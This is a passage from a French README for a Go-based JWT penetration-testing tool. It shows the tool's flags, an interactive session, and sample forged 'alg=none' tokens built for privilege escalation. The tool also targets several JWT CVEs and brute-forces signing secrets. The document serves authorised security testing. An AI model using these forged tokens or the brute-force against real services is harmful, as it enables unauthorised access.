
Outil de vérification de vulnérabilité et de brute-force de clés développé pour les tests d'intrusion JWT. Génère des résultats pour le FUZZ ciblant CVE-2015-9235/attaque par clé vide/attaque de signature non vérifiée/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042, et permet également le brute-force via dictionnaire/énumération de caractères (y compris JJWT) (JWT Crack).
Déclaration solennelle : les techniques, idées et outils présentés dans ce document sont exclusivement destinés à un apprentissage et à un échange à des fins de sécurité. Nul ne peut les utiliser à des fins illégales ou lucratives, sous peine d'en assumer la responsabilité.
Outil de validation de vulnérabilité / brute-force de clés secrètes développé pour la pénétration JWT. Génère des résultats pour CVE-2015-9235 / Attaque par signature non vérifiée / CVE-2016-10555 / CVE-2018-0114 / CVE-2020-28042 à utiliser pour du FUZZ. Peut également utiliser un dictionnaire ou l'énumération de caractères pour effectuer un brute-force.Présentation de l'outil · Mode d'emploi · Précautions · Échanges techniques
Lors des tests de pénétration de projets en entreprise, il arrive souvent de rencontrer JWT utilisé comme jeton pour la validation des droits, en particulier dans les projets séparant le front-end et le back-end. On peut utiliser des outils comme jwt-tool, mais ils ne permettent pas d'aller droit au but. J'ai donc développé en Go un outil d'assistance à la pénétration JWT complet, pour vous aider à réaliser des tests de dépassement de privilèges.
Quels sont les scénarios d'application de cet outil :
Quels sont les avantages de cet outil :
# Compilation
go mod tidy
cd cmd
go build.
# Exécution en ligne de commande
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
-df string
Utiliser un fichier de payloads, par défaut vide → utiliser le dictionnaire intégré des rôles (mode de liaison 2). Mode 3 non vide (mode de liaison 3)
-em int
Mode de chiffrement du secret : NONE/MD5/MD5 16 caractères/BASE64 (par défaut ALL=>0, NONE=>1, MD5=>2, MD5 16=>3, BASE64=>4)
-fs string
Dictionnaire par défaut pour le brute-force, peut être modifié selon vos propres règles (associé à -fz pour la longueur) (default "abcdefghijklmnopqrstuvwxyz0123456789")
-fz int
Nombre maximum de caractères pour le brute-force par caractères (si utilisé, préciser le nombre de caractères avec -fz)
-jbc string
Corps JWT à modifier
-jm int
Mode 1 : (Secret inconnu) Test de dépassement de privilèges en modifiant le Payload ; Mode 2 : (testez d'abord le mode 1) Test de dépassement par FUZZ du Payload ; Mode 3 : Brute-force du secret via fichier texte ; Mode 4 : Brute-force du secret par caractères (si utilisé, préciser la longueur avec -fz) ; Mode 5 : Validation du Secret JWT (default 1)
-jwt.txt string
Chaîne JWT
-mz int
Nombre minimum de caractères pour le brute-force par caractères (si utilisé, préciser -mz), par défaut 1 (default 1)
-pem string
Chemin du fichier PEM de clé publique (de préférence chemin absolu)
-pt int
Sélection du mode : 0 = tout exécuter par défaut ; 1 = modifier alg en none (CVE-2015-2951) ; 2 = dépassement de privilèges par signature non vérifiée ; 3 = modifier l'algorithme asymétrique en symétrique (CVE-2016-10555) ; 4 = injection de clé publique JWKS – falsification de clé (CVE-2018-0114) ; 5 = signature vide (CVE-2020-28042)
-s string
Secret connu, par défaut vide
# Exécution interactive
.\cmd.exe
? 【Sélection préalable】 En cas de secret inconnu, modifiez JWT pour tester le dépassement de privilèges, veuillez choisir le mode :
[·] [Use arrows to move, type to filter]
> Mode 1 : (Secret inconnu) Test de dépassement en modifiant le Payload
Mode 2 : (testez d'abord le mode 1) Test de dépassement par FUZZ du Payload
Mode 3 : Brute-force du secret par fichier texte
Mode 4 : Brute-force du secret par caractères
Mode 5 : Validation du Secret JWT
? Veuillez entrer votre chaîne JWT :
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]En-tête JWT : {"alg":"HS256","typ":"JWT"}
Payload JWT : {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
Signature JWT : 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8
? 【Mode 1】【Mode 2】 En cas de secret inconnu, modification du JWT pour tester le dépassement de privilèges, veuillez sélectionner le mode de test spécifique :
[·] [Use arrows to move, type to filter]
> Mode 0 : Tout exécuter par défaut
Mode 1 : Modifier alg en none (CVE-2015-2951)
Mode 2 : Dépassement de privilèges par signature non vérifiée
Mode 3 : Modifier l'algorithme asymétrique en symétrique (CVE-2016-10555)
Mode 4 : Injection de clé publique JWKS – falsification de clé (CVE-2018-0114)
Mode 5 : Signature vide (CVE-2020-28042)
? Vous avez sélectionné 【Mode 1】【Mode 2】【Mode 5】, vous devez modifier la partie JSON du deuxième bloc (Payload) du JWT pour tester le dépassement. Veuillez copier la partie Payload de l'étape précédente, la modifier, puis la coller ici :
【Mode 1】【Mode 5】Exemple : {"username":"admin","role":"admin"}
【Mode 2】Exemple : {"username":"admin","role":"FUZZ"}
Remarque pour 【Mode 2】 : FUZZ est ici l'emplacement de remplacement du dictionnaire. Si vous ne modifiez rien, appuyez simplement sur Entrée pour utiliser le Payload d'origine par défaut.
? Veuillez entrer le chemin du fichier PEM de clé publique que vous avez collecté (de préférence chemin absolu)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem
============== Test de dépassement de privilèges sans secret en modifiant le Payload ===========
① Dans la plupart des cas, lorsque alg est HS256, on peut modifier JWT pour utiliser none (CVE-2015-9235)
[+]【alg = none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg = None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg = NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg = NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② Attaque par signature non vérifiée : modification du Payload sans vérification